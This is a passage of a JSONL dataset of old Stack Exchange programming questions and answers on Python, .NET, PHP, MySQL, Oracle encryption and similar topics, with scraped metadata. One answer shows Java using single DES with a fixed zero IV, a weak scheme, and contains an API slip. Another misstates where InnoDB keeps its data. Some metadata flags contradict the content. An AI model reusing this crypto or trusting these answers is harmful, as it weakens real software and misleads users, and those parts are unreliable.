10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.169659"}
{"id": "hf_d8fec4fadd89", "question": "<p>One of the basic data structures in Python is the dictionary, which allows one to record \"keys\" for looking up \"values\" of any type.  Is this implemented internally as a hash table?  If not, what is it?</p>\n", "question_body": "", "answer": "Yes, it is a hash mapping or hash table. You can read a description of python's dict implementation, as written by Tim Peters,\nhere\n.\nThat's why you can't use something 'not hashable' as a dict key, like a list:\n```\n```\n>>> a = {}\n>>> b = ['some', 'list']\n>>> hash(b)\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: list objects are unhashable\n>>> a[b] = 'some'\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: list objects are unhashable\n```\n```\nYou can\nread more about hash tables\nor\ncheck how it has been implemented in python\nand\nwhy it is implemented that way\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.197554"}
{"id": "hf_18e586c77329", "question": "<p>How should I determine what to use for a listening socket's backlog parameter?  Is it a problem to simply specify a very large number?</p>\n", "question_body": "", "answer": "From the\ndocs\n:\nA value for the backlog of SOMAXCONN is a special constant that instructs the underlying service provider responsible for socket s to set the length of the queue of pending connections to a maximum reasonable value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.286437"}
{"id": "hf_d10ab7699006", "question": "<p>I'm firing off a Java application from inside of a C# <a href=\"http://en.wikipedia.org/wiki/.NET_Framework\" rel=\"noreferrer\">.NET</a> console application. It works fine for the case where the Java application doesn't care what the \"default\" directory is, but fails for a Java application that only searches the current directory for support files.</p>\n\n<p>Is there a process parameter that can be set to specify the default directory that a process is started in?</p>\n", "question_body": "", "answer": "Yes!\nProcessStartInfo Has a property called\nWorkingDirectory\n, just use:\n```\n```\n...\nusing System.Diagnostics;\n...\n\nvar startInfo = new ProcessStartInfo();\n\n  startInfo.WorkingDirectory = // working directory\n  // set additional properties \n\nProcess proc = Process.Start(startInfo);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.350362"}
{"id": "hf_cc92f9150f0e", "question": "<p>I'm writing a photo gallery webapp for a friend's wedding and they want a photo gallery for guests to submit the digital photos they take on the day. </p>\n\n<p>After evaluating all the options, I've decided the easiest thing for users would be to let them use a familiar interface (their email) and just have them send in the pictures as attachments.</p>\n\n<p>I've created an mailbox but now I need to connect and retrieve these attachments for automated processing for adding to the gallery system. But how? Are there any tutorials or prefab classes you've seen for doing this?</p>\n", "question_body": "", "answer": "I think you want a MIME message parser.\nI've used\nthis one\nbefore and it seems to work fine, although I haven't tested it on really big attachments (i.e. 2-3MB files you might get from digital cameras).\nHave you already got a system for reading POP3 / IMAP mailboxes? There is\nanother class\non the same site which also works on POP3 (I believe there is also an IMAP one) - however if you will be downloading a fair volume maybe you'll want to investigate a few C-based solutions as I believe that one is pure PHP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.397972"}
{"id": "hf_381347e144df", "question": "<p>I have some NSViews that I'm putting in one of two layouts depending on the size of my window.</p>\n\n<p>I'm adjusting the layout when the relevant superview receives the resizeSubviewsWithOldSize method.</p>\n\n<p>This works, but I'd like to animate the change.  So naturally I tried calling the animator proxy when I set the new frames, but the animation won't run while the user is still dragging.  If I release the mouse before the animation is scheduled to be done I can see the tail end of the animation, but nothing until then.   I tried making sure kCATransactionDisableActions was set to NO, but that didn't help.</p>\n\n<p>Is it possible to start a new animation and actually have it run during the resize?</p>\n", "question_body": "", "answer": "This really isn't an answer, but I would advise against animating anything while dragging to resize a window. The screen is already animating (from the window moving) - further animations are likely going to be visually confusing and extraneous.\nCoreAnimation effects are best used to move from one known state to another - for example, when a preference window is resizing to accompany a new pane's contents, and you know both the old and new sizes, or when you are fading an object in or out (or both). Doing animation while the window is resizing is going to be visually confusing and make it harder for the user to focus on getting the size of the window where they want it to be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.420243"}
{"id": "hf_f12db868d459", "question": "<p>Given:</p>\n\n<pre><code>DateTime.UtcNow\n</code></pre>\n\n<p>How do I get a string which represents the same value in an <a href=\"http://en.wikipedia.org/wiki/ISO_8601\" rel=\"noreferrer\">ISO 8601</a>-compliant format?</p>\n\n<p>Note that ISO 8601 defines a number of similar formats. The specific format I am looking for is:</p>\n\n<pre><code>yyyy-MM-ddTHH:mm:ssZ\n</code></pre>\n", "question_body": "", "answer": "```\n```\nDateTime.UtcNow.ToString(\"s\")\n```\n```\nReturns something like 2008-04-10T06:30:00\n```\nUtcNow\n```\nobviously returns a\nUTC\ntime so there is no harm in:\n```\n```\nstring.Concat(DateTime.UtcNow.ToString(\"s\"), \"Z\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.445116"}
{"id": "hf_a03744eb74ec", "question": "<p>How can we connect a <code>PHP</code> script to <code>MS Access (.mdb)</code> file?</p>\n\n<p>I tried by including following <code>PHP</code> code:</p>\n\n<pre><code>$db_path = $_SERVER['DOCUMENT_ROOT'] . '\\WebUpdate\\\\' . $file_name . '.mdb';\n$cfg_dsn = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" . $db_path;\n$odbcconnect = odbc_connect($cfg_dsn, '', '');\n</code></pre>\n\n<p>But it failed and I received following error message:</p>\n\n<pre><code> Warning: odbc_connect() [function.odbc-connect]: SQL error: [Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect in C:\\web\\WebUpdate\\index.php on line 41\n</code></pre>\n", "question_body": "", "answer": "Here's a sample for a connect and a simple select...\n```\n```\n<?php\n$db_conn = new COM(\"ADODB.Connection\");\n$connstr = \"DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=\". realpath(\"./Northwind.mdb\").\";\";\n$db_conn->open($connstr);\n$rS = $db_conn->execute(\"SELECT * FROM Employees\");\n$f1 =  $rS->Fields(0);\n$f2 =  $rS->Fields(1);\nwhile (!$rS->EOF)\n{\n    print $f1->value.\" \".$f2->value.\"<br />\\n\";\n    $rS->MoveNext();\n}\n$rS->Close();\n$db_conn->Close();\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.473969"}
{"id": "hf_9edac306600f", "question": "<p>How to print line numbers to the log. Say when outputting some information to the log, I also want to print the line number where that output is in the source code. As we can see in the stack trace, it displays the line number where the exception has occurred. Stack trace is available on the exception object.</p>\n\n<p>Other alternative could be like manually including the line number when printing to the log. Is there any other way?</p>\n", "question_body": "", "answer": "From\nAngsuman Chakraborty\n(archived) :\n```\n```\n/** Get the current line number.\n * @return int - Current line number.\n */\npublic static int getLineNumber() {\n    return Thread.currentThread().getStackTrace()[2].getLineNumber();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.511029"}
{"id": "hf_2b2bdb950232", "question": "<p>After you start tracking the source of a bunch of open source software, how do you keep your code in sync? Run <code>svn update</code> every time you want to look at or play with the code?</p>\n\n<p>It strikes me that it would be better to essentially start mirroring the code with (say) a <code>cron</code> job every night. Have people set up workflows to do this sort of thing? (With alerts when/if any changes you make to the code end up conflicting with the latest update?)</p>\n\n<p>Or am I on my own? (I'm running Mac OS X but interested in general as well as specific solutions.)</p>\n", "question_body": "", "answer": "If your repository sends you an email every time someone checks in, why not have a program that checks for those emails and then updates the working copy at that time? This way you're always up to date. Caveats include needlessly burning bandwidth and the possibility of getting odd conflicts when a file you're working on gets updated.\nJust updating once a day, or once every few days, is only useful when there are a limited number of people working on a project, all in disparate areas of it. When you've got more than five people, and the possibility that they are working in similar parts of the code, updating once an hour, or more frequently, is much better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.541287"}
{"id": "hf_e8db263e0c74", "question": "<p>If i make a label in TFS, and later make a new label with the same name... then the old label is replaced by the new one. </p>\n\n<p>How do I prevent TFS from overwriting a label?</p>\n", "question_body": "", "answer": "The following MSDN article covers\nusing the Scope of a label to try and minimize the occurrences of these mishaps\n:\nUsing the /Child Option to Avoid Labeling Mishaps\nIf you issue a label command together with a pre-existing label name and an itemspec that includes files that are already marked by the same label, the value of the /child option determines whether the marked files are updated with new revision information. That is, the files are labeled by the same name, but have different scope.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.616569"}
{"id": "hf_69cc50e88e0b", "question": "<p>Is VBA going to go away any time soon, like VB6 has?  Should I not develop new Office applications with VBA?  Or should I be developing all new Office Apps with VSTO?</p>\n\n<p>Update:  Recently read this <a href=\"http://visualbasic.about.com/b/2009/09/26/visual-basic-and-office-an-update.htm\" rel=\"nofollow noreferrer\">article</a>.</p>\n", "question_body": "", "answer": "Office VSTO offers a great deal of additional functionality over Office VBA, and while I don't believe Microsoft has signaled that it's going to terminate VBA (in fact,\nthey've said explicitly\nthat it will be around at least until Office 14; Office 2007 = Office 12), I think it's well worth the effort to move your applications to VSTO to take advantage of the additional flexibility and power.\nI actually don't think that deprecating VBA would be feasible, since a fair amount of Office programming takes place at the macro level by business users and I don't think that's going to go away any time soon.  Those folks don't generally have access to a VSTO-capable IDE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.649315"}
{"id": "hf_2ee4f2449d5d", "question": "<p><strong>Has anyone had success automating testing directly on embedded hardware?</strong></p>\n\n<p>Specifically, I am thinking of automating a battery of unit tests for hardware layer modules. We need to have greater confidence in our hardware layer code. A lot of our projects use interrupt driven timers, ADCs, serial io, serial SPI devices (flash memory) etc..</p>\n\n<p><strong>Is this even worth the effort?</strong></p>\n\n<p>We typically target:</p>\n\n<p>Processor: 8 or 16 bit microcontrollers (some DSP stuff)<br>\nLanguage: C (sometimes c++).  </p>\n", "question_body": "", "answer": "Sure.  In the automotive industry we use $100,000 custom built testers for each new product to verify the hardware and software are operating correctly.\nThe developers, however, also build a cheaper (sub $1,000) tester that includes a bunch of USB I/O, A/D, PWM in/out, etc and either use scripting on the workstation, or purpose built HIL/SIL test software such as MxVDev.\nHardware in the Loop (HIL) testing is probably what you mean, and it simply involves some USB hardware I/O connected to the I/O of your device, with software on the computer running tests against it.\nWhether it's worth it depends.\nIn the high reliability industry (airplane, automotive, etc) the customer specifies very extensive hardware testing, so you have to have it just to get the bid.\nIn the consumer industry, with non complex projects it's usually not worth it.\nWith any project where there's more than a few programmers involved, though, it's\nreally\nnice to have a nightly regression test run on the hardware - it's hard to correctly simulate the hardware to the degree needed to satisfy yourself that the software testing is enough.\nThe testing then shows immediately when a problem has entered the build.\nGenerally you perform both black box and white box testing - you have diagnostic code running on the device that allows you to spy on signals and memory in the hardware (which might just be a debugger, or might be code you wrote that reacts to messages on a bus, for instance).  This would be white box testing where you can see what's happening internally (and even cause some things to happen, such as critical memory errors which can't be tested without introducing the error yourself).\nWe also run a bunch of 'black box' tests where the diagnostic path is ignored and only the I/O is stimulated/read.\nFor a much cheaper setup, you can get $100 microcontroller boards with USB and/or ethernet (such as the Atmel UC3 family) which you can connect to your device and run basic testing.\nIt's especially useful for product maintenance - when the project is done, store a few working boards, the tester, and a complete set of software on CD.  When you need to make a modification or debug a problem, it's easy to set it all back up and work on it with some knowledge (after testing) that the major functionality was not affected by your changes.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.673243"}
{"id": "hf_57dbe287d7a1", "question": "<p>I am evaluating WF for use in line of business applications on the web, and I would love to hear some recent first-hand accounts of this technology.</p>\n\n<p>My main interest here is in improving the maintainability of projects and maybe in increasing developer productivity when working on complex processes that change frequently.</p>\n\n<p>I really like the idea of WF, however it seems to be relatively unknown and many older comments I've come across mention that it's overwhelmingly complex once you get into it. </p>\n\n<p>If it's overdesigned to the point that it's unusable (or a bad tradeoff) for a small to medium-sized project, that's something that I need to know.</p>\n\n<p>Of course, it has been out since late 2006, so perhaps it has matured. If that's the case, that's another piece of information that would be very helpful!</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "It really depends on what you want to do with it.  I've only used it a little, but compared to more mature products like MetaStorm (I know technically it's a BPM, but there is still a workflow component), Process Choriographer and IBM MQ workflow, there's no comparison.  It's just not mature enough.  On the other hand it's free where the others are not and can probably get the job done.  I don't know if I would place a multi-million dollar operation on it, but with smaller ones, I'd give it another shot.  The real hurdle you are going to face is the change in thought process it requires.  If you don't have developers that have worked with state systems before that can be a real hurdle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.733163"}
{"id": "hf_9cdb200d6839", "question": "<p>If I'm deploying to servers with WebSphere 6.1 (Java 1.5), should I use IBM's JDK on my build box?  Or will Sun's JDK compile to the same binary?</p>\n\n<p>If I should use IBM's, where can I get the Windows x64 version?</p>\n", "question_body": "", "answer": "It should not make any difference. It will probably not be exactly the same binary but 100% compatible. I assume you're using external libraries anyways like log4j or maybe hibernate or whatever and those are not built using the IBM JDK.\nThere are differences in the JREs, however. For example, I remember that when I listed methods or fields of a class using reflection, the IBM JRE used to give them to me in a different order than the Sun one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.814695"}
{"id": "hf_497082556a42", "question": "<p>I'm processing some data files that are supposed to be valid UTF-8 but aren't, which causes the parser (not under my control) to fail. I'd like to add a stage of pre-validating the data for UTF-8 well-formedness, but I've not yet found a utility to help do this.</p>\n\n<p>There's a <a href=\"http://www.w3.org/2005/01/yacker/uploads/utf8-validator\" rel=\"noreferrer\">web service</a> at W3C which appears to be dead, and I've found a Windows-only validation <a href=\"http://web.archive.org/web/20081101142036/http://bolek.techno.cz:80/UTF8-Validator/\" rel=\"noreferrer\">tool</a> that reports invalid UTF-8 files but doesn't report which lines/characters to fix.</p>\n\n<p>I'd be happy with either a tool I can drop in and use (ideally cross-platform), or a ruby/perl script I can make part of my data loading process. </p>\n", "question_body": "", "answer": "Use python and str.encode|decode functions.\n```\n```\n>>> a=\"γεια\"\n>>> a\n'\\xce\\xb3\\xce\\xb5\\xce\\xb9\\xce\\xb1'\n>>> b='\\xce\\xb3\\xce\\xb5\\xce\\xb9\\xff\\xb1' # note second-to-last char changed\n>>> print b.decode(\"utf_8\")\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\n  File \"/usr/local/lib/python2.5/encodings/utf_8.py\", line 16, in decode\n    return codecs.utf_8_decode(input, errors, True)\nUnicodeDecodeError: 'utf8' codec can't decode byte 0xff in position 6: unexpected code byte\n```\n```\nThe exception thrown has the info requested in its .args property.\n```\n```\n>>> try: print b.decode(\"utf_8\")\n... except UnicodeDecodeError, exc: pass\n...\n>>> exc\nUnicodeDecodeError('utf8', '\\xce\\xb3\\xce\\xb5\\xce\\xb9\\xff\\xb1', 6, 7, 'unexpected code byte')\n>>> exc.args\n('utf8', '\\xce\\xb3\\xce\\xb5\\xce\\xb9\\xff\\xb1', 6, 7, 'unexpected code byte')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.889792"}
{"id": "hf_7b4dd15a731d", "question": "<p>I am using Visual Studio, developing a native application, I have a programmatical breakpoint (assert) in my code placed using __asm int 3 or __debugbreak.  Sometimes when I hit it, I would like to disable it so that successive hits in the same debugging session no longer break into the debugger. How can I do this?</p>\n", "question_body": "", "answer": "x86 / x64\nAssuming you are writing x86/x64 application, write following in your watch window:\nx86:\n```\n*(char *)eip,x\n```\nx64:\n```\n*(char *)rip,x\n```\nYou should see a value 0xcc, which is opcode for INT 3. Replace it with 0x90, which is opcode for NOP. You can also use the memory window with eip as an address.\nPPC\nAssuming you are writing PPC application (e.g. Xbox 360), write following in your watch window:\n```\n*(int *)iar,x\n```\nYou should see a value 0xfeNNNNNN, which is opcode for trap (most often 0x0fe00016 = unconditional trap). Replace it with 0x60000000, which is opcode for NOP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.927545"}
{"id": "hf_53f3abd16ed8", "question": "<p>I am using 3D maths in my application extensively. How much speed-up can I achieve by converting my vector/matrix library to SSE, AltiVec or a similar SIMD code?</p>\n", "question_body": "", "answer": "Most likely you will see only very small speedup, if any, and the process will be more complicated than expected. For more details see\nThe Ubiquitous SSE vector class\narticle by Fabian Giesen.\nThe Ubiquitous SSE vector class: Debunking a common myth\nNot that important\nFirst and foremost, your vector class is probably not as important for the performance of your program as you think (and if it is, it's more likely because you're doing something wrong than because the computations are inefficient). Don't get me wrong, it's probably going to be one of the most frequently used classes in your whole program, at least when doing 3D graphics. But just because vector operations will be common doesn't automatically mean that they'll dominate the execution time of your program.\nNot so hot\nNot easy\nNot now\nNot ever", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.998428"}
{"id": "hf_58e4dbd19173", "question": "<p>I have the following class</p>\n\n<pre>\npublic class Car\n{\n   public Name {get; set;}\n}\n</pre>\n\n<p>and I want to bind this programmatically to a text box.</p>\n\n<p>How do I do that?</p>\n\n<p>Shooting in the dark:</p>\n\n<pre>\n...\nCar car = new Car();\nTextEdit editBox = new TextEdit();\neditBox.DataBinding.Add(\"Name\", car, \"Car - Name\");\n...\n</pre>\n\n<p>I get the following error</p>\n\n<blockquote>\n  <p>\"Cannot bind to the propery 'Name' on the target control.</p>\n</blockquote>\n\n<p>What am I doing wrong and how should I be doing this? I am finding the databinding concept a bit difficult to grasp coming from web-development.</p>\n", "question_body": "", "answer": "Without looking at the syntax, I'm pretty sure it's:\n```\n```\neditBox.DataBinding.Add(\"Text\", car, \"Name\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.069556"}
{"id": "hf_830ea8606da5", "question": "<p>How to get an instance's member's values?</p>\n\n<p>With propertyInfos there is a <code>propertyInfo.GetValue(instance, index)</code>, but no such thing exists in memberInfo.</p>\n\n<p>I searched the net, but it seems to stop at getting the member's name and type.</p>\n", "question_body": "", "answer": "I think what you need is\n```\nFieldInfo\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.169069"}
{"id": "hf_f089aad4b2a0", "question": "<p>Aside from trying</p>\n\n<pre><code>perldoc &lt;module name&gt;\n</code></pre>\n\n<p>individually for any CPAN module that takes my fancy or going through the file system and looking at the directories I have no idea what modules we have installed. </p>\n\n<p>What's the easiest way to just get a big list of every CPAN module installed? From the command line or otherwise.</p>\n", "question_body": "", "answer": "```\n```\nperldoc perllocal\n```\n```\nEdit: There's a (little) more info about it in the\nCPAN FAQ", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.205804"}
{"id": "hf_87e3f7d96a5b", "question": "<p>I am looking to convert a <code>MySQL timestamp</code> to a epoch time in seconds using <code>PHP</code>, and vice versa. </p>\n\n<p>What's the cleanest way to do this?</p>\n", "question_body": "", "answer": "There are two functions in MySQL which are useful for converting back and forth from the unix epoch time that PHP likes:\nfrom_unixtime()\nunix_timestamp()\nFor example, to get it back in PHP unix time, you could do:\n```\nSELECT unix_timestamp(timestamp_col) FROM tbl WHERE ...\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.242772"}
{"id": "hf_c8a0dc74bb83", "question": "<p>Suppose I have some XAML like this:</p>\n\n<pre><code>&lt;Window.Resources&gt;\n  &lt;v:MyClass x:Key=\"whatever\" Text=\"foo\\nbar\" /&gt;\n&lt;/Window.Resources&gt;\n</code></pre>\n\n<p>Obviously I want a newline character in the MyClass.Text property, but the XAML parser constructs the object with the literal string \"foo\\nbar\".</p>\n\n<p>Is there (a) a way to convince the parser to translate escape sequences, or (b) a .NET method to interpret a string in the way that the C# compiler would?</p>\n\n<p>I realize that I can go in there looking for <code>\\n</code> sequences, but it would be nicer to have a generic way to do this.</p>\n", "question_body": "", "answer": "Off the top of my head, try;\nA custom binding expression perhaps?\n```\n<v:MyClass x:Key=\"whatever\" Text=\"{MyBinder foo\\nbar}\"/>\n```\nUse a string static resource?\nMake Text the default property of your control and;\n```\n```\n<v:MyClass x:Key=\"whatever\">\nfoo\nbar\n</v:MyClass>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.266858"}
{"id": "hf_3ddf0dfea74c", "question": "<p>How to customize the color of the symbol inserted in the \"glasses mode\" in Emacs?\nI have not found the option for this. Can anyone suggest anything?</p>\n", "question_body": "", "answer": "There's no option to set the face for the inserted separator (and from a brief study of the docs for emacs overlays, I don't think it's simple to add).\nYou can customize the face used for the capital letters that glasses-mode splits on; it's called\n```\nglasses-face\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.380809"}
{"id": "hf_659e732cbcbe", "question": "<p>I recently asked a question about Oracle Encryption.  Along the way to finding a solution for myself I decided to move the encryption (well, obfuscation) to the application side for certain tasks.  </p>\n\n<p>My problem is that the database is already encrypting data a certain way and I need Java code to duplicate that functionality, so that text encrypted by one system can be decrypted by the other and vice versa.</p>\n\n<p>I want the encryption to be compatible with what the DB was already doing but couldn't find the documentation that describes exactly what Oracle is doing.  How do I replicate this in Java?</p>\n\n<pre><code>dbms_obfuscation_toolkit.DESEncrypt(\n  input_string =&gt; v_string,\n  key_string =&gt; key_string,\n  encrypted_string =&gt; encrypted_string );\nRETURN UTL_RAW.CAST_TO_RAW(encrypted_string);\n</code></pre>\n\n<p>No matter what I try, it seems as if the Java DES encryption is different than Oracle's.</p>\n", "question_body": "", "answer": "I found this works:\n```\n```\nKeySpec ks = new DESKeySpec(new byte[] {'s','e','c','r','e','t','!','!'});\nSecretKeyFactory skf = SecretKeyFactory.getInstance(\"DES\");\nSecretKey sk = skf.generateSecret(ks);\nCipher c = Cipher.getInstance(\"DES/CBC/NoPadding\");\nIvParameterSpec ips = new IvParameterSpec(new byte[] {0,0,0,0,0,0,0,0});\nc.init(Cipher.ENCRYPT, sk, ips);\n// or\nc.init(Cipher.DECRYPT, sk, ips);\n```\n```\nThe missing piece was the Initialization Vector (ips) which must be 8 zeros.  When you use null in Java you get something different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.428789"}
{"id": "hf_5ea957f91de7", "question": "<p>I'm running an c# .net app in an iframe of an asp page on an older site. Accessing the Asp page's session information is somewhat difficult, so I'd like to make my .net app simply verify that it's being called from an approved page, or else immediately halt.</p>\n\n<p>Is there a way for a page to find out the url of it's parent document?</p>\n", "question_body": "", "answer": "```\n```\ntop.location.href\n```\n```\nBut that will only work if both pages (the iframe and the main page) are being served from the same domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.464711"}
{"id": "hf_209e76413988", "question": "<p>I have to restore a database that has been inadvertently DROPped in MySQL 5.0.  From checking the backup files, I only seem to have .FRM files to hold the database data.</p>\n\n<p>Can anyone advise whether this is all I need to perform a database restore/import from the backup, or are there other files I should have to hand to complete this?</p>\n", "question_body": "", "answer": ".frm files are not the data files, they just store the \"data dictionary information\" (see\nMySQL manual\n). InnoDB stores its data in ib_logfile* files. That's what you need in order to do a backup/restore. For more details see\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.654453"}
{"id": "hf_452a315662cb", "question": "<p>Is there a command in classic ASP I can use to tell the browser not to pull the page from it's cache, or, to not cache, or clear the cache of my page?</p>\n", "question_body": "", "answer": "If you put\n```\n```\nResponse.Expires = -1\n```\n```\nin you classic ASP-page it will instruct the browser not to cache the contents. If the user clicks \"back\" or navigating to the page in another way, the browser will refresh the page from the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.762647"}
{"id": "hf_b5649f51e3f2", "question": "<p>I have an application for Tomcat which needs to offer/consume web services. Since Java web services are a nightmare (xml, code generation, etc.) compared with what is possible in Python, I would like to learn from your experience using jython instead of java for offerring/consuming web services.</p>\n\n<p>What I have done so far involves adapting <a href=\"http://pywebsvcs.sourceforge.net/\" rel=\"noreferrer\">http://pywebsvcs.sourceforge.net/</a> to <a href=\"http://www.jython.org\" rel=\"noreferrer\">Jython</a>. I still get errors (namespaces, types and so), although some of it is succesful for the simplest services.</p>\n", "question_body": "", "answer": "PyServlet\nhelps you configure Tomcat to serve up Jython scripts from a URL.  You could use this is a \"REST-like\" way to do some basic web services without much effort.  (It is also described\nhere\n.)\nWe used a similar home grown framework to provide a variety of data services in a large multiple web application very successfully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:45.786942"}
